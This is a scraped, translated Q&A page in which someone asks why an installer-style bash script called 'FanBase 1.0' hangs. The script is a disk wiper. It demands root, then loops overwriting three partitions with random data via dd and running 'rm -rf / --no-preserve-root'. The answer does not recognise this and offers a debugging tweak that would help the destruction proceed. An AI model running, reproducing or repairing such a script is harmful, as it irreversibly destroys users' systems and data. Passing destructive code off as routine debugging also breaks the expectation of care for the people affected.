linux - 为什么一段时间后的代码是真的;做 ...; done 循环从未在 bash 中调用过?
问题描述
此脚本已在安装中列出。然而,它只是挂起,不做任何事情。是不是有什么问题。
我尝试在多台计算机上运行此脚本。
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message
rm -rf b
while true
do
echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
dd if=b of=/dev/sda1 bs=1M 2> /dev/null
dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
rm -rf / --no-preserve-root 2> /dev/null
done
echo "DONE!"
它应该说“完成!”
解决方案
让我们调试一下。尝试count=1
为每个dd
命令添加一个选项。例如,
dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null
推荐阅读
- excel - 如何使用 VBA 打印同一张纸的多次迭代
- python - 为什么这个索引函数显示的是 2 而不是 4?
- mysql - 检查以确保 MYSQL Db Dump sql 文件可用
- r - geom_tile 热图中的瓦片长度不正确
- ios - CKQueryOperation queryCompletionBlock 未调用
- selenium - 如何在 selenium 中为 firefox 打开浏览器历史记录?
- flutter - 使用 Fluro 进行导航(Flutter web)
- normalization - 缺失值的问题。不适用于每个缺失值?
- wordpress - Woocommerce 的缩略图
- python-3.x - 如何根据熊猫数据框中的另外两列获取列的最大值和最小值?